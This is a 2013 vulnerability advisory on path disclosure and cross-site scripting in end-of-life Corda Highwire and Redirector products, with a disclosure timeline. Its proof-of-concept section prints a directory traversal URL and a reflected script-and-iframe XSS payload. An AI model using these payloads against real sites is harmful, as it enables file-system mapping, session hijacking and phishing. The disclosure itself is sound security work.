[Foreground Security 2013-002]: Corda Path Disclosure and XSS

[Adam Willard <awillard@xxxxxxxxxxxxxxxxxxxxxx>]

Corda Path Disclosure and XSS
============================================================
FOREGROUND SECURITY, SECURITY ADVISORY 2013-002
- Original release date: July 12, 2013
- Discovered by: Adam Willard (Software Security Analyst at Foreground Security)
- Contact: (awillard (at) foregroundsecurity (dot) com)
- Severity: 4.3/10 (Base CVSS Score)
============================================================

I. VULNERABILITY
-------------------------
Corda suffers Path Disclosure in Highwire.ashx and XSS vulnerabilities

II. BACKGROUND
-------------------------
Corda Highwire allows you to generate pdf documents
Corda Server .NET Redirector version: 7.3.11.6715 allows the Web server to 
handle client requests for visualizations.

III. DESCRIPTION
-------------------------
Corda Path Disclosure in Highwire.ashx
Corda Redirector XSS when a file isn't found


IV. PROOF OF CONCEPT
-------------------------
Path Disclosure
Execution of a url can expose the file system directory
/highwire.ashx?url=../../

XSS
Execution of a similar URL allows XSS to be run as long as the Domain of the 
File parameter matches the domains allowed
http://<URL>/Corda/redirector.corda/?@_FILEhttp://<URL>/?<script>alert('Text')</script><iframe
 src=http://www.exploit-db.com></iframe>@_TEXTDESCRIPTIONEN


V. BUSINESS IMPACT
-------------------------
Discover path structure of a drive and attempt directory/file traversal
An attacker could perform session hijacking or phishing attacks.

VI. SYSTEMS AFFECTED
-------------------------
Systems implementing Corda/Domo products

VII. SOLUTION
-------------------------
Software has been marked EOL by Domo; Highwire products no longer supported.

VIII. REFERENCES
-------------------------
http://www.domo.com
http://www.foregroundsecurity.com

IX. CREDITS
-------------------------
This vulnerability has been discovered by Adam Willard (awillard (at) 
foregroundsecurity (dot) com)

X. REVISION HISTORY
-------------------------
- July 12, 2013: Initial release.

XI. DISCLOSURE TIMELINE
-------------------------
July 9, 2013: Issue identified within a deployed application by Adam Willard.
July 9, 2013: Vulnerability discovered by Adam Willard.
July 12, 2013: Contacted Vendor
July 12, 2013: Vendor commented that the software is EOL with no support.
July 12, 2013: Security advisory released.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no 
warranties or guarantees of fitness of use or otherwise.